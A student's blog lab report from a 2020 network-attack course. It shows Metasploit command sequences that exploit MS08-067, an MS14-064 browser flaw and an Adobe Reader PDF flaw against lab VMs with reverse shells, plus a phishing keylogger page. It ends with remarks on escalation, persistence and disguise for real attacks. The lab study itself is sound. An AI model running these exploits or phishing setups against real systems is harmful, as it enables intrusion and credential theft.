2019-2020-2 20174313张博《网络对抗技术》Exp6 MSF基础应用

一、实验概述

    1.1 实验目标

    本实验名为MSF基础应用,目的是要通过使用MSF平台完成几种不同思路的攻击,以进一步加深我们对该平台的认识和熟练程度,掌握更多更广泛的攻击思路,深入剖析其攻击原理,知道攻击是怎样发起怎样成功的,从而不断提高自己的信息安全意识和防护能力。

    1.2 实验原理

    本次实验用到的平台是kali中的Metasploit平台,对此我们并不陌生,从实验二开始就跟它打了很多次交道了。这个平台是目前最具代表性的攻击平台,其拥有强大的功能和扩展模块,支持生成多态payload。它的开源性使得攻击者可以自由进行二次开发,使用Ruby语言编写Exploit,然后调用它提供的各种组件,即可实现自动化攻击。它集成了不少端口扫描和漏洞扫描工具,同时集成了上千种已知漏洞的exploit,使得攻击者可以轻易地实施远程攻击。

 

图1.2.1

    图1.2.1所示的,就是探查Metaspolit平台在本地存储的具体文件路径,第一个框所示的就是平台的几大模块所在的文件夹,通过ls命令可以探查具体都有哪些模块。下一步我是选择了辅助模块进入查看,然后依次选择了“dos”“ssl”,终于进到了最底层。我们都知道这个平台是通过Ruby语言编写的,所以从上图可以看到,当我们一步一步cd到最底层的目录之后,这里存储的都是以rb结尾的文件,它们都是实打实的干货。下一步使用vim编辑器随意打开一个rb文件,可以看到里面的内容,如图1.2.2所示。内容很多,下面是翻到了文件全部内容的98%的地方所看到的内容。

 

 图1.2.2

    通过类似的方式,可以具体地查看Metasploit平台中每一个rb文件的内容。

 

二、实验内容

    为了成功做完本实验,我在虚拟机上没少折腾。除了kali,另一个虚拟机是一换再换,所以网络地址不是固定的,但不论是哪个虚拟机,我都将其联网方式设为了桥接模式。桥接模式虚拟机和NAT模式虚拟机似乎是ping不通的,并且桥接模式下的虚拟机在联网方面更独立更自主,所以就都统一用了这种方式。

    2.1 一个主动攻击实践,如ms08_067

    在这一步,我用的攻击机是kali,靶机是win 2000

 

 图2.1.1 win 2000的IP地址为192.168.1.109,和192.168.1.100可以ping通

 

图2.1.2 kali的IP地址是192.168.1.100,和192.168.1.109可以ping通

    在这一步的攻击实践,攻击机利用靶机存在的ms08_067号漏洞对靶机实施攻击。攻击之前,按照常规操作是要先扫描一下靶机是否存在这个漏洞,不存在的话就不用白忙活了,直接换漏洞。

    扫描的命令是:

nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.109#IP地址是靶机的

 

    这段命令的作用不只是扫描靶是否存在指定的漏洞ms08-067,还有其他参数在里面,-sS参数表示SYN扫描也就是半开扫描,旨在扫描开放端口;-A参数表示同时进行-sV-O,也就是同时进行服务版本扫描和操作系统类型扫描;-PO表示进行一个IP协议ping。总之扫描选项是很多的,在实际攻击中可能确实需要这么多扫描项,不过针对本实验,只要扫描指定漏洞是否存在于靶机上即可。

 

图2.1.3 

    扫描结果很长,图2.1.3截取了其中的漏洞扫描结果部分,第一个红框内的第二行是漏洞名称,第四行直言微软Windows系统容易受到该漏洞的攻击,再往下还提到了有哪些操作系统容易受到该漏洞的攻击,其中就包括我用到的靶机win 2000。后面还有两个链接,是对漏洞扫描结果的补充资料。第二个红框框住的是扫描时长,由于扫描选项过多所以耗时也不短。

    确认漏洞存在后,下面就可以在kali上准备攻击了。

use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp#show payloads可以查看选中漏洞下的全部攻击载荷,这里选的是一个可以进行命令行反弹连接的。

 

    打开MSF控制台后,通过上述两条命令选中想要的攻击载荷,然后对其进行配置。

 

图2.1.4

    通过options可以查看对于该载荷有哪些需要设置的地方。凡是标有“yes的都需要根据攻击实际进行正确设置。

set RHOST 192.168.1.109#设置靶机win 2000的IP
set LPORT 4313 #设置攻击机用于监听反弹连接的端口
set LHOST 192.168.1.100#设置攻击机kali的IP

 

 

图2.1.5

    设置完毕后,通过run或者exploit执行攻击载荷。从图2.1.5可以观察到攻击成功,反弹连接session 1已经建立。

 

 图2.1.6

 

    连接建立后,通过ipconfig查看一下IP相关的内容。由于是攻击机调用了靶机的命令行,所以查询结果理应是靶机的网络地址相关内容。可以看出,这里的查询结果和图2.1.1是一致的。

    2.2 一个针对浏览器的攻击实践

    是在这一步操作,我用把win 2000换成了win xp_sp3。由于和上个操作不在同一个时间段内完成,所以kali的网络地址也发生了改变,变成了192.168.1.104,而XP的网络地址是192.168.1.100。二者同样是可以连通的。这里用到的XP是通过这个地址下载的,并且按照这个地址进行配置。

use exploit/windows/browser/ms14_064_ole_code_execution#选中目标漏洞
set payload windows/meterpreter/reverse_tcp#设置反弹连接shell
set SRVHOST 192.168.1.104#kali的网络地址
set ALLowPowerShellPrompt 1
set LHOST 192.168.1.104#kali的网络地址
set LPORT 4313
set target 0
exploit

 

    执行完上述命令后,会生成一个“Using URL”,把它复制下来,输入到靶机浏览器的地址栏中去。这时在攻击机的命令行会出现“会话打开”的提示。

 

图2.2.1

    图2.1.7是我尝试建立连接的过程的缩影,当我在靶机上用ie浏览器和谷歌浏览器试过很多很多次后,终于出现了上图绿框中所示的内容,说的是序号为一的会话已经建立了。下面就可以通过此会话获取靶机命令行了。

 

图2.2.2

    如图2.1.8所示,在观察到会话一已经建立后,就输入命令sessions -i 1,这时候观察到下面一行出现了连接尝试提示和“meterpreter >”就成功获取到了靶机的命令行。

 

图2.2.3

    此时还可以拿ipconfig简单测试一下,网络地址测试结果和图2.1.10是相符的。

图2.2.4 win xp_sp3的网络配置

    2.3 一个针对客户端的攻击实践

    在这一步虚拟机没换,不过虚拟机XP的网络地址又变了,现在是192.168.1.109

    这里选择的目标客户端是Adobe 9.0

use windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.104#本地网络地址也就是kali的,反弹连接是靶机主动连接攻击机,所以不需要设置靶机网络地址 set LPORT 4313
set FILENEME 4313.pdf#设置pdf文件名
run#生成pdf文件

 

    通过上述命令选择合适的攻击载荷并正确设置,执行后可以得到一个带陷阱的pdf文件。 

  图2.3.1 

    图2.3.1的最下面一行是文件生成路径,按照这个路径,通过命令cp /root/.msf4/local/msf.pdf /home/zb20174313将其复制到图形界面正常权限可以进入到的文件夹下,方便移动。需要将其移动到靶机上,在靶机中通过Adobe 9.0打开这个带陷阱的pdf文件。

 

 

图2.3.2

    在靶机中打开PDF文件前,在kaliMSF控制台要先通过选中监听模块设置监听载荷,监听来自靶机的回连,因为PDF文件中的陷阱就是一个反弹连接的载荷,所以一经有漏洞的Adobe Reader运行就会自动回连攻击机kali。图如2.3.2所示,在kali中设置好并开始执行监听后,在靶机中用Adobe Reader9.0打开陷阱PDF,就会出现上图最下面的成功建立会话的提示信息。这一步如果不成功的话就多打开几次,我是第二次打开文件时才建立起了会话连接,从图中可以看出“Sending stage...”的操作执行了两次,第一次就失败了。会话成功建立后,反弹连接跟着就成功建立起来了,在“meterpreter >”后面可以执行任何正确的测试命令,正如前面两次测试一样。

 

    2.4 成功应用任何一个辅助

    为避免重复,我在MSF的一千多个辅助模块里面找了很久,最后觉得server/capture/http_javascript_keylogger还不错,并且在百度中关键词搜索也并未搜索到同学做过的痕迹。只有外人做过的记录。

 

 

图2.4.1 

 

    这个模块的作用,顾名思义即可知道是记录击键记录的,并且效果比之前做过的后门回连的击键记录要好得多,并且使用途径也很令人防不胜防,那就是钓鱼网站。通过这个模块可以做出来一个登录界面,伪装成百度或者其他什么网页的登录页面让用户登录,如果用户真的在这个钓鱼网页输入了自己的登录信息,那么输入什么就会第一时间被钓鱼网页的幕后人员获得到,从而就泄露了个人信息。

 

图2.4.2 全部的设置内容

 

    这个辅助模块在选中以后,就可以直接通过options查看有哪些需要设置的内容。上图右下角的红框就是我的设置内容,设置完毕后,下面会出现一个“Using URL...”,这就是钓鱼网页的地址,把它复制下来输入到靶机的浏览器地址栏中,任何靶机就会访问到如图2.4.3所示的一个网页中,这是钓鱼网页的默认形态。

 

图2.4.3 

 

    注意到图2.4.3的网页地址栏中有一个id,则就是当前访问该钓鱼网页的用户编号,这个编号在攻击机的MSF控制台也能看到,图2.4.2最下面绿色加号后面紧跟着的就是这个id。钓鱼网页中有两个UsernamePassword的输入框,就是伪装的用户名和密码输入框,只要把这个网页加工修饰一下,再加上验证码的输入框什么的,就可以伪装成任何一个网站的登录页面,这就涉及到Web前端程序设计了,不过也不会太复杂,只要克隆一下所要模仿的页面的源代码即可。之所以说是钓鱼网页,所因为用户在这两个输入框内输入的全部信息,都能在攻击机的MSF控制台看到,如下图所示。

 

图2.4.4 攻击方记录的击键结果

 

    图2.4.4就是kali记录的靶机在钓鱼网页上的击键结果,每输入一个字符都要记录一下并且是累计显示的,这可比当初后门回连的击键记录要先进多了,因为这里的击键记录是自动记录自动显示的,不需手动设置。

三、实验总结

    3.1 用自己的话解释什么是exploit,payload,encode

    -exploit是渗透攻击模块的名字,是Metasploit平台下的几大主要模块之一,它下面有大量针对各种漏洞编写的攻击工具。在平台里面设置好payload后往往要通过exploitrun来执行它,此时exploit就是执行的意思,执行效果和实验一中的Perl语言类似,都是把攻击代码注入到缓冲区当中。

    -payload就是载荷,课上也提到这类似于被火箭带上天的那种东西,负载的东西、被运输的东西。在实验环境中它就是指一段指令或者说是shellcode,这段指令起到了很关键的攻击作用。

    -encode是指编码,对一段机器指令进行与运算,得到的结果是指令的伪装形式,有编码也有解码,课堂上老师重点讲过这个过程。编码在一定程度上可以起到免杀的效果,但免杀效果有限,即使是多次编码也有限,这在之前的实验中得到了证明。

    3.2 离实战还差什么技术或步骤?

    单从我的实验过程来看,后续的技术或步骤主要是提权,把入侵的身份提高到最高权限,这样才能说达到了入侵的目的,在最高权限下没有什么是做不到的,有了root权限可以想办法让自己长期驻留在靶机中,而不是入侵一下一会儿就被赶走了。我没有做提权,只是进行一些简单的查看,虽然不否认这些也算是攻击实践,但是可挖掘的余地还很大。除了提权,其他的都和实战很接近了。另外,还需要做好伪装,因为我在本实验中无论是pdf文件还是钓鱼网页,都是我一手操办的,如果是实战,就要想办法让对方主动接受,那么就需要做好精致的伪装。特别是钓鱼网页的制作,克隆一个正规网页还是需要花点功夫的。还有一点是,本实验是在一个局域网内完成的,格局相对较狭隘,如果我要攻击另一个局域网内的目标,那就得跨网络实施攻击了,还得想办法突破对方所在网络的防火墙等设施。我们所说的涉密不上网,上网不涉密,就是说的不连接互联网,要想做到真正的实战,那么就还得跳出局域网的限制,随便从互联网上找一台机器都要能实施攻击。

    3.3 实验总结

    本实验的关键之处在于找到合适的、可攻击的漏洞,所以我们会去找一些版本较老的操作系统、找一些版本很旧的客户端,因为这些目标存在的漏洞相对较多一些,所谓的更新就是弥补漏洞、开发新功能、优化用户体验的过程,所以在上个实验的漏洞扫描中看到的解决漏洞的办法大多数都是更新。如果虚拟机找不对的话,本实验将会很难开展。找虚拟机的目标,不是越好越好,而是越差越好,这里说的衡量好和差的标准主要是漏洞的多少。漏洞越多,实验越好做,否则就寸步难行了。

    找到了合适的漏洞,攻击起来还是较为容易的,往往是查看options,看有哪些需要设置的内容,正确设置即可开始攻击了。

 

posted @ 2020-04-30 18:13  20174313张博  阅读(208)  评论(1编辑  收藏  举报